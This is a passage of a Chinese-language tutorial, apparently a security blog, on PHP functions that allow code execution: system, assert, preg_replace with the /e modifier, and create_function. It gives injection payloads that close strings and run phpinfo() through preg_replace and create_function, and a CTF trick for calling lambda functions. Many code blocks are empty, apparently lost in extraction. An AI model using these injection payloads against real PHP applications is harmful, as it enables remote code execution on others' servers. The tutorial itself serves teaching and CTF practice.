PHP```\n\n\n\u90a3\u4e48\u5982\u679c\u6211\u8981\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u5462\uff1f\u8fd9\u4e2a\u65f6\u5019\u5c31\u9700\u8981\u7528\u5230PHP\u4e2d\u7684`system`\u51fd\u6570\u3002\n\n```php\n\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>desktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u5230\u6b64\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u7ed3\u5408\u5176\u4ed6\u59ff\u52bf\u901a\u8fc7\u8fd9\u4e2a\u51fd\u6570\u5b9e\u73b0\u4efb\u610f\u4ee3\u7801\u6267\u884c\u4e86\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"assert",children:"assert()"}),"\n",(0,r.jsx)(e.p,{children:"PHP"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"assert( mixed $assertion[, string $description] ) : bool\n"})}),"\n",(0,r.jsx)(e.p,{children:"PHP"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"assert( mixed $assertion[, Throwable $exception] ) : bool\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"assertion"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u65ad\u8a00\u3002\u5728PHP 5 \u4e2d\uff0c\u662f\u4e00\u4e2a\u7528\u4e8e\u6267\u884c\u7684\u5b57\u7b26\u4e32\u6216\u8005\u7528\u4e8e\u6d4b\u8bd5\u7684\u5e03\u5c14\u503c\u3002\u5728PHP 7 \u4e2d\uff0c\u53ef\u4ee5\u662f\u4e00\u4e2a\u8fd4\u56de\u4efb\u4f55\u503c\u7684\u8868\u8fbe\u5f0f\uff0c\u5b83\u5c06\u88ab\u6267\u884c\u7ed3\u679c\u7528\u4e8e\u5224\u65ad\u65ad\u8a00\u662f\u5426\u6210\u529f\u3002"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"description"})}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5982\u679c",(0,r.jsx)(e.code,{children:"assertion"}),"\u5931\u8d25\u4e86\uff0c\u9009\u9879",(0,r.jsx)(e.code,{children:"description"}),"\u5c06\u4f1a\u5305\u542b\u5728\u5931\u8d25\u4fe1\u606f\u91cc\u3002"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"exception"})}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5728PHP 7\u4e2d\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u53ef\u4ee5\u662f\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"Throwable"}),"\u5bf9\u8c61\uff0c\u800c\u4e0d\u662f\u4e00\u4e2a\u5b57\u7b26\u4e32\uff0c\u5982\u679c\u65ad\u8a00\u5931\u8d25\u4e14\u542f\u7528\u4e86",(0,r.jsx)(e.code,{children:"assert.exception"}),"\uff0c\u90a3\u4e48\u8be5\u5bf9\u8c61\u5c06\u88ab\u629b\u51fa"]}),"\n",(0,r.jsx)(e.h4,{id:"assert\u914d\u7f6e",children:"assert()\u914d\u7f6e"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{children:"\u914d\u7f6e\u9879"}),(0,r.jsx)(e.th,{children:"\u9ed8\u8ba4\u503c"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u53ef\u9009\u503c"})]})}),(0,r.jsxs)(e.tbody,{children:[(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"zend.assertions"}),(0,r.jsx)(e.td,{children:"1"}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"1 - \u751f\u6210\u548c\u6267\u884c\u4ee3\u7801(\u5f00\u53d1\u6a21\u5f0f) 0 - \u751f\u6210\u4ee3\u7801\uff0c\u4f46\u5728\u6267\u884c\u65f6\u8df3\u8fc7\u5b83 -1 - \u4e0d\u751f\u6210\u4ee3\u7801(\u751f\u4ea7\u73af\u5883)"})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"assert.exception"}),(0,r.jsx)(e.td,{children:"0"}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"1 - \u65ad\u8a00\u5931\u8d25\u65f6\u629b\u51fa\uff0c\u53ef\u4ee5\u629b\u51fa\u5f02\u5e38\u5bf9\u8c61\uff0c\u5982\u679c\u6ca1\u6709\u63d0\u4f9b\u5f02\u5e38\uff0c\u5219\u629b\u51faAssertionError\u5bf9\u8c61\u5b9e\u4f8b 0 - \u4f7f\u7528\u6216\u751f\u6210Throwable\uff0c\u4ec5\u4ec5\u662f\u57fa\u4e8e\u5bf9\u8c61\u751f\u6210\u7684\u8b66\u544a\u800c\u4e0d\u662f\u629b\u51fa\u5bf9\u8c61(\u4e0ePHP 5 \u517c\u5bb9)"})]})]})]}),"\n",(0,r.jsxs)(e.p,{children:["\u6240\u4ee5\u641e\u4e86\u8fd9\u4e48\u591a\uff0c",(0,r.jsx)(e.code,{children:"assert()"}),"\u51fd\u6570\u5230\u5e95\u662f\u5e72\u4ec0\u4e48\u7684\u5462\uff1f\u7528\u6211\u7684\u7406\u89e3\u6765\u8bf4\uff0c",(0,r.jsx)(e.code,{children:"assert()"}),"\u51fd\u6570\u662f\u5904\u7406\u5f02\u5e38\u7684\u4e00\u79cd\u5f62\u5f0f\uff0c\u76f8\u5f53\u4e8e\u4e00\u4e2aif\u6761\u4ef6\u8bed\u53e5\u7684\u5b8f\u5b9a\u4e49\u4e00\u6837\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e00\u4e2aPHP 7 \u4e2d\u7684\u793a\u4f8b"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"getMessage();\n }\n?>\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\u56e0\u4e3a1\u4e0d\u7b49\u4e8e2\uff0c\u6240\u4ee5\u524d\u9762\u65ad\u8a00\u5931\u8d25\uff0c\u629b\u51fa\u5f02\u5e38\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u91cc\u5c31\u662f\u5b9e\u4f8b\u5316\u4e00\u4e2a\u5bf9\u8c61\uff0c\u7528\u8fd9\u4e2a\u5bf9\u8c61\u6765\u629b\u51fa\u5f02\u5e38\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4e00\u4e2aphp 5 \u4e2d\u7684\u793a\u4f8b"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>Warning: assert(): \u524d\u9762\u65ad\u8a00\u5931\u8d25\uff0c\u629b\u51fa\u5f02\u5e38 failed in D:\\phpstudy_pro\\WWW\\1.php on line \n\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>Warning: assert(): Assertion failed in D:\\phpstudy_pro\\WWW\\1.php on line ```\n\n\n\u6240\u4ee5PHP 7 \u76f8\u8f83\u4e8ePHP 5 \u5c31\u662f\u591a\u4e86\u4e2a\u7528Throwable\u6765\u53d1\u51fa\u8b66\u544a\u3002\n\n\u90a3\u4e48\uff0c\u5982\u679c\u524d\u9762\u65ad\u8a00\u6210\u529f\u5462\uff1f\u4f1a\u53d1\u751f\u4ec0\u4e48\u5462?\u6765\u4e2a\u6700\u7b80\u5355\uff0c\u4e5f\u662f\u6211\u4eec\u6bd4\u8f83\u559c\u6b22\u7684\u793a\u4f8b\n\n```php\n\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>desktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u6bb5\u4ee3\u7801\u5728PHP 5 \u548cPHP 7 \u4e2d\u90fd\u4f1a\u8fd4\u56de\u547d\u4ee4\u6267\u884c\u7ed3\u679c\uff0c\u867d\u7136PHP 7 \u4e2d\u5bf9\u65ad\u8a00\u51fd\u6570\u7684\u53c2\u6570\u7a0d\u4f5c\u4e86\u6539\u53d8\uff0c\u4f46\u662f\u4e3a\u4e86\u517c\u5bb9\u4f4e\u7248\u672c\uff0c\u6240\u4ee5\u8fd8\u662f\u4f1a\u76f4\u63a5\u8fd4\u56de\u7ed3\u679c\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"preg_replace",children:"preg_replace()"}),"\n",(0,r.jsx)(e.p,{children:"\u901a\u8fc7\u51fd\u6570\u540d\u5b57\u6211\u4eec\u4e5f\u5e94\u8be5\u80fd\u591f\u4e86\u89e3\u51fd\u6570\u5927\u6982\u4f5c\u7528\uff0c\u6b64\u51fd\u6570\u6267\u884c\u4e00\u4e2a\u6b63\u5219\u8868\u8fbe\u5f0f\u7684\u641c\u7d22\u548c\u66ff\u6362\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u641c\u7d22 subject \u4e2d\u5339\u914d pattern \u7684\u90e8\u5206\uff0c \u4ee5 replacement \u8fdb\u884c\u66ff\u6362\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570\u8bf4\u660e",children:"\u53c2\u6570\u8bf4\u660e\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"$pattern: \u8981\u641c\u7d22\u7684\u6a21\u5f0f\uff0c\u53ef\u4ee5\u662f\u5b57\u7b26\u4e32\u6216\u4e00\u4e2a\u5b57\u7b26\u4e32\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(e.li,{children:"$replacement: \u7528\u4e8e\u66ff\u6362\u7684\u5b57\u7b26\u4e32\u6216\u5b57\u7b26\u4e32\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(e.li,{children:"$subject: \u8981\u641c\u7d22\u66ff\u6362\u7684\u76ee\u6807\u5b57\u7b26\u4e32\u6216\u5b57\u7b26\u4e32\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(e.li,{children:"$limit: \u53ef\u9009\uff0c\u5bf9\u4e8e\u6bcf\u4e2a\u6a21\u5f0f\u7528\u4e8e\u6bcf\u4e2a subject \u5b57\u7b26\u4e32\u7684\u6700\u5927\u53ef\u66ff\u6362\u6b21\u6570\u3002 \u9ed8\u8ba4\u662f-1\uff08\u65e0\u9650\u5236\uff09\u3002"}),"\n",(0,r.jsx)(e.li,{children:"$count: \u53ef\u9009\uff0c\u4e3a\u66ff\u6362\u6267\u884c\u7684\u6b21\u6570\u3002"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u90a3\u8fd9\u4e2a\u51fd\u6570\u8ddf\u6211\u4eec\u547d\u4ee4\u6267\u884c\u6709\u4ec0\u4e48\u5173\u7cfb\u5462\uff1f\u4ec5\u4ec5\u770b\u4e0a\u9762\u7684\u5b98\u65b9\u89e3\u91ca\u4f3c\u4e4e\u770b\u4e0d\u51fa\u4ec0\u4e48\uff0c\u4f46\u662f",(0,r.jsx)(e.code,{children:"preg_repace()"}),"\u6709\u4e00\u4e2a\u6a21\u5f0f\u662f/e\u6a21\u5f0f\uff0c\u8fd9\u4e2a\u6a21\u5f0f\u5c31\u4f1a\u53d1\u751f\u4ee3\u7801\u6267\u884c\u7684\u95ee\u9898\uff0c\u4e3a\u4ec0\u4e48\u5462\uff1f"]}),"\n",(0,r.jsx)(e.p,{children:"\u770b\u4e00\u4e2a\u6848\u4f8b"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:" $value){\n echo Ameng($regex, $value) . \"\\n\";\n }\n?>\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u9762\u8fd9\u6bb5\u6211\u4eec\u9700\u8981\u6ce8\u610f\u7684\u5c31\u662f\\1,\\1\u5728\u6b63\u5219\u8868\u8fbe\u5f0f\u662f\u53cd\u5411\u5f15\u7528\u7684\u610f\u601d\uff0c\u7b80\u800c\u8a00\u4e4b\u5c31\u662f\u6307\u5b9a\u4e00\u4e2a\u5b50\u5339\u914d\u9879\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u9488\u5bf9\u4e0a\u9762\u6848\u4f8b\uff0c\u6211\u4eec\u6765\u4e2apayload\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"payload=/?.*={${phpinfo()}}\n\u6240\u4ee5\u8bed\u53e5\u5c31\u6210\u4e86\u8fd9\u6837\npreg_replace('/(.*)/ei', 'strtolower(\"\\\\1\")', {${phpinfo()}});\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u6211\u4eec\u76f4\u63a5\u628a\u8fd9\u6bb5\u4ee3\u7801\u653e\u5230\u9875\u9762"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8bbf\u95ee\u9875\u9762\uff0c\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648089.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u770b\u5230\u6210\u529f\u6267\u884c\u4e86\u4ee3\u7801\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["\u4f46\u662f\u8fd9\u91cc\u6211\u662f\u76f4\u63a5\u5c06\u8fd9\u6bb5\u4ee3\u7801\u5199\u5230\u4e86\u6587\u4ef6\u91cc\uff0c\u90a3\u4e48\u5982\u679c\u6211\u4eec\u662f\u901a\u8fc7GET\u4f20\u53c2\u5f97\u5230\u53c2\u6570\uff0c\u8fd9\u91cc\u9488\u5bf9\u4e0a\u9762\u90a3\u4e2a\u6848\u4f8b\u5c31\u9700\u8981\u6ce8\u610f\u4e00\u70b9\uff0c\u5728\u901a\u8fc7GET\u4f20\u53c2\u65f6\uff0c",(0,r.jsx)(e.code,{children:".*"}),"\u4f1a\u88ab\u66ff\u6362\u4e3a",(0,r.jsx)(e.code,{children:"_*"}),"\u5bfc\u81f4\u6211\u4eec\u8981\u7684\u6b63\u5219\u88ab\u66ff\u6362\u4e86\uff0c\u8fbe\u4e0d\u5230\u6211\u4eec\u7684\u6548\u679c\uff0c\u6240\u4ee5\u8fd9\u91cc\u53ef\u7528\u4f7f\u7528\u4e00\u4e9b\u5176\u4ed6\u7684\u6b63\u5219\u8868\u8fbe\u5f0f\u6765\u8fbe\u5230\u76ee\u7684\uff0c\u6bd4\u5982\u901a\u8fc7GET\u4f20\u53c2\u65f6\u6211\u4eec\u7684\u53c2\u6570\u53ef\u4ee5\u4f20\u5165",(0,r.jsx)(e.code,{children:"\\S*"}),"\u4ece\u800c\u8fbe\u5230\u540c\u6837\u76ee\u7684\u3002\u6240\u4ee5\u4ee5\u540e\u518d\u9047\u5230\u8fd9\u4e2a\u51fd\u6570\u7684\u65f6\u5019\uff0c\u8981\u7559\u4e2a\u5fc3\u773c\u4e86\u3002\u4e0d\u8fc7\uff0c\u8fd9\u91cc\u8981\u8865\u5145\u4e00\u70b9\uff0c\u5c31\u662f",(0,r.jsx)(e.code,{children:"preg_replace()"}),"\u51fd\u6570\u5728PHP 7 \u540e\u4fbf\u4e0d\u518d\u652f\u6301\uff0c\u4f7f\u7528",(0,r.jsx)(e.code,{children:"preg_replace_callback()"}),"\u8fdb\u884c\u66ff\u6362\u4e86\uff0c\u53d6\u6d88\u4e86\u4e0d\u5b89\u5168\u7684",(0,r.jsx)(e.code,{children:"\\e"}),"\u6a21\u5f0f\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"create_function",children:"create_function()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"create_function()"}),"\u7528\u6765\u521b\u5efa\u4e00\u4e2a\u533f\u540d\u51fd\u6570"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"create_function( string $args, string $code) : string\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-1",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"string $args \u58f0\u660e\u7684\u51fd\u6570\u53d8\u91cf\u90e8\u5206"}),"\n",(0,r.jsx)(e.li,{children:"string $code \u8981\u6267\u884c\u7684\u4ee3\u7801"}),"\n"]}),"\n",(0,r.jsx)(e.h4,{id:"\u8fd4\u56de\u503c-1",children:"\u8fd4\u56de\u503c"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd4\u56de\u552f\u4e00\u7684\u51fd\u6570\u540d\u79f0\u4f5c\u4e3a\u5b57\u7b26\u4e32\u6216\u8005\u8fd4\u56deFALSE\u9519\u8bef"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"create_function()"}),"\u51fd\u6570\u5728\u5185\u90e8\u6267\u884c",(0,r.jsx)(e.code,{children:"eval()"}),"\u51fd\u6570\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u70b9\uff0c\u6765\u6267\u884c\u4ee3\u7801\u3002\u5f53\u7136\u6b63\u56e0\u4e3a\u5b58\u5728\u5b89\u5168\u95ee\u9898\uff0c\u6240\u4ee5\u5728PHP 7.2 \u4e4b\u540e\u7684\u7248\u672c\u4e2d\u5df2\u7ecf\u5e9f\u5f03\u4e86",(0,r.jsx)(e.code,{children:"create_function()"}),"\u51fd\u6570\uff0c\u4f7f\u7528\u533f\u540d\u51fd\u6570\u6765\u4ee3\u66ff\u3002\u6240\u4ee5\u8fd9\u91cc\u4e3a\u4e86\u6f14\u793a\u8fd9\u4e2a\u51fd\u6570\uff0c\u6211\u91c7\u7528\u7684\u662fPHP 5 \u7684\u73af\u5883\u3002\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u5230\u5e95\u600e\u4e48\u7528\u5462\uff1f"]}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u6765\u770b\u6211\u5199\u7684\u4e00\u4e2a\u7b80\u5355\u7684\u6848\u4f8b"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>desktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u770b\u5230\u4f7f\u7528\u6b64\u51fd\u6570\u4e3a\u6211\u4eec\u76f8\u5f53\u4e8e\u521b\u9020\u4e86\u4e00\u4e2a\u533f\u540d\u7684\u51fd\u6570\uff0c\u7ed9\u5b83\u8d4b\u4ee5\u76f8\u5e94\u7684\u53d8\u91cf\uff0c\u5c31\u6267\u884c\u4e86\u6211\u4eec\u8981\u6267\u884c\u7684\u4ee3\u7801\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u63a5\u4e0b\u6765\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u6848\u4f8b"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e2a\u4e3b\u8981\u529f\u80fd\u5c31\u662f\u5b9e\u73b0\u6392\u5e8f\uff0c\u8fd9\u6bb5\u4ee3\u7801\u5c31\u8c03\u7528\u4e86",(0,r.jsx)(e.code,{children:"create_function()"}),"\u51fd\u6570\uff0c\u90a3\u4e48\u6211\u4eec\u80fd\u5426\u5229\u7528\u8fd9\u4e2a\u51fd\u6570\u6267\u884c\u6211\u4eec\u60f3\u8981\u6267\u884c\u7684\u4ee3\u7801\u5462\uff1f"]}),"\n",(0,r.jsx)(e.p,{children:"\u5f53\u7136\u53ef\u4ee5\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5728\u4f20\u53c2\u65f6\u5c06\u524d\u9762\u7684\u7b26\u53f7\u95ed\u5408\uff0c\u7136\u540e\u8f93\u5165\u6211\u4eec\u60f3\u8981\u6267\u884c\u7684\u4ee3\u7801\u5373\u53ef\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"payload='\"]);}phpinfo();/*\n\u6267\u884cpayload\u524d\uff1a$sort_function = ' return 1 * ' . $sorter . '($a[\"' . $sort_by . '\"], $b[\"' . $sort_by . '\"]);';\n\u6267\u884cpayloda\u540e\uff1a$sort_function = ' return 1 * ' . $sorter . '($a[\"' . $sort_by '\"]);}phpinfo();/*\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u770b\u5230\u8fd9\u91cc\uff0c\u4f60\u53ef\u80fd\u4f1a\u6709\u7a0d\u5fae\u7591\u60d1\uff0c\u5c31\u662f\u4f60\u95ed\u5408\u5c31\u95ed\u5408\u5427\uff0c\u4e3a\u4ec0\u4e48\u540e\u9762\u591a\u4e86\u4e2a",(0,r.jsx)(e.code,{children:";}"}),"\uff0c\u4e0d\u77e5\u9053\u4f60\u662f\u5426\u60f3\u5230\u4e86\u8fd9\u4e00\u70b9\uff1f"]}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u6211\u5c31\u6765\u5206\u6790\u4e00\u4e0b\u8fd9\u4e2a\uff0c\u4e0a\u9762\u7684\u90a3\u6bb5\u6267\u884c\u4ee3\u7801\uff0c\u5b9e\u9645\u4e0a\u5c31\u662f\u4e00\u4e2a\u533f\u540d\u51fd\u6570\u7684\u521b\u5efa\uff0c\u65e2\u7136\u662f\u4e00\u4e2a\u51fd\u6570\uff0c\u6ce8\u610f\u662f\u4e00\u4e2a\u51fd\u6570\uff0c\u90a3\u4e48\u4f60\u89c9\u5f97\u6709\u6ca1\u6709\u82b1\u62ec\u53f7\u5462\uff1f\u770b\u6211\u5982\u4e0b\u4ee3\u7801"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u53ef\u4ee5\u770b\u5230\uff0c\u6211\u4eec\u501f\u7528\u4e86\u533f\u540d\u51fd\u6570\u7684\u4f4d\u7f6e\uff0c\u63d2\u5165\u4e86\u6211\u4eec\u8981\u6267\u884c\u7684\u4ee3\u7801\uff0c\u7136\u540e\u7b49\u8fd9\u4e2a\u533f\u540d\u51fd\u6570\u88ab",(0,r.jsx)(e.code,{children:"create_function"}),"\u5f53\u4f5c",(0,r.jsx)(e.code,{children:"$code"}),"\u6267\u884c\u7684\u65f6\u5019\uff0c\u662f\u4e0d\u662f\u4ee3\u7801\u5c31\u88ab\u6267\u884c\u4e86\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648090.png",alt:"img"})}),"\n",(0,r.jsxs)(e.p,{children:["\u90a3\u4e48",(0,r.jsx)(e.code,{children:"creat_function"}),"\u51fd\u6570\u8fd8\u6709\u522b\u7684\u7528\u6cd5\u5417\uff1f\u6211\u4eec\u5c06\u4e0a\u9762\u4e00\u4e2a\u6848\u4f8b\u7b80\u5355\u7684\u4fee\u6539\u4e00\u4e0b\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u4ee3\u7801\u7b80\u5355\u7684\u6765\u770b\uff0c\u6211\u4eec\u53ea\u9700\u8981\u6267\u884c",(0,r.jsx)(e.code,{children:"$onefunc"}),"\u5c31\u80fd\u5f97\u5230flag\uff0c\u4f46\u662f\u6211\u4eec\u4e0d\u77e5\u9053\u8fd9\u4e2a\u51fd\u6570\u7684\u540d\u79f0\u3002\u5982\u679c\u5728\u4e0d\u77e5\u9053\u51fd\u6570\u540d\u79f0\u7684\u60c5\u51b5\u4e0b\u6267\u884c\u51fd\u6570\u5462\uff1f\u8fd9\u91cc\u5c31\u7528\u5230\u4e86",(0,r.jsx)(e.code,{children:"creat_function"}),"\u51fd\u6570\u7684\u4e00\u4e2a\u6f0f\u6d1e\u3002\u8fd9\u4e2a\u51fd\u6570\u5728creat\u4e4b\u540e\u4f1a\u81ea\u52a8\u751f\u6210\u4e00\u4e2a\u51fd\u6570\u540d\u4e3a",(0,r.jsx)(e.code,{children:"%00lambda_%d"}),"\u7684\u533f\u540d\u51fd\u6570\u3002",(0,r.jsx)(e.code,{children:"%d"}),"\u7684\u503c\u662f\u4e00\u76f4\u9012\u589e\u7684\uff0c\u4f1a\u4e00\u76f4\u9012\u589e\u5230\u6700\u5927\u957f\u5ea6\u76f4\u5230\u7ed3\u675f\u3002\u6240\u4ee5\u8fd9\u91cc\u53ef\u4ee5\u901a\u8fc7\u591a\u8fdb\u7a0b\u6216\u8005\u591a\u7ebf\u7a0b\u8bbf\u95ee\uff0c\u4ece\u800c\u770b\u5230flag\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u6240\u4ee5\uff0c\u4ee5\u540e\u518d\u4ee3\u7801\u4e2d\u5982\u679c\u770b\u5230\u8c03\u7528",(0,r.jsx)(e.code,{children:"create_function()"}),"\u8981\u5c0f\u5fc3\u4e00\u70b9\uff0c\u4f46\u662f\u5982\u679c\u662fCTF\u9898\u76ee\u7684\u8bdd\uff0c\u4e0d\u4f1a\u8fd9\u4e48\u76f4\u63a5\u5c31\u5427\u8fd9\u4e2a\u51fd\u6570\u66b4\u9732\u7ed9\u4f60\uff0c\u5b83\u53ef\u80fd\u4f1a\u7528\u5230\u62fc\u63a5\u6216\u8005\u66ff\u6362\u6765\u6784\u9020\u8fd9\u4e2a\u51fd\u6570\u3002\u6700\u540e\u518d\u5f3a\u8c03\u4e00\u4e0b\uff0c",(0,r.jsx)(e.code,{children:"create_function"}),"\u51fd\u6570\u5728PHP 7.2 \u7248\u672c\u4e4b\u540e\u5c31\u5df2\u7ecf\u88ab\u5e9f\u5f03\u4e86\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"array_map",children:"array_map()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"array_map()"}),"\u4e3a\u6570\u7ec4\u7684\u6bcf\u4e2a\u5143\u7d20\u5e94\u7528\u56de\u8c03\u51fd\u6570"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"array_map( callable $callback, array $array1[, array $...] ) : array\n"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"array_map()"}),"\uff1a\u8fd4\u56de\u6570\u7ec4\uff0c\u662f\u4e3a ",(0,r.jsx)(e.code,{children:"array1"})," \u6bcf\u4e2a\u5143\u7d20\u5e94\u7528 ",(0,r.jsx)(e.code,{children:"callback"}),"\u51fd\u6570\u4e4b\u540e\u7684\u6570\u7ec4\u3002",(0,r.jsx)(e.code,{children:"callback"})," \u51fd\u6570\u5f62\u53c2\u7684\u6570\u91cf\u548c\u4f20\u7ed9",(0,r.jsx)(e.code,{children:"array_map()"})," \u6570\u7ec4\u6570\u91cf\uff0c\u4e24\u8005\u5fc5\u987b\u4e00\u6837\u3002"]}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-2",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"callback\uff1a\u56de\u8c03\u51fd\u6570\uff0c\u5e94\u7528\u5230\u6bcf\u4e2a\u6570\u7ec4\u91cc\u7684\u6bcf\u4e2a\u5143\u7d20\u3002"}),"\n",(0,r.jsxs)(e.li,{children:["array1\uff1a\u6570\u7ec4\uff0c\u904d\u5386\u8fd0\u884c",(0,r.jsx)(e.code,{children:"callback"}),"\u51fd\u6570\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["...\uff1a\u6570\u7ec4\u5217\u8868\uff0c\u6bcf\u4e2a\u90fd\u904d\u5386\u8fd0\u884c",(0,r.jsx)(e.code,{children:"callback"}),"\u51fd\u6570\u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.h4,{id:"\u8fd4\u56de\u503c-2",children:"\u8fd4\u56de\u503c"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd4\u56de\u6570\u7ec4\uff0c\u5305\u542b",(0,r.jsx)(e.code,{children:"callback"}),"\u51fd\u6570\u5904\u7406\u4e4b\u540e",(0,r.jsx)(e.code,{children:"array1"}),"\u7684\u6240\u6709\u5143\u7d20\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u8bf4\u4e86\u8fd9\u4e48\u591a\u5b98\u65b9\u7684\u51fd\u6570\u89e3\u91ca\uff0c\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u5230\u5e95\u5982\u4f55\u4f7f\u7528\u5462\uff1f\u7b80\u800c\u8a00\u4e4b\uff0c\u8fd9\u4e2a\u51fd\u6570\u7684\u4f5c\u7528\u53ef\u4ee5\u8fd9\u4e48\u76f4\u767d\u7684\u89e3\u91ca\u4e00\u4e0b\u3002\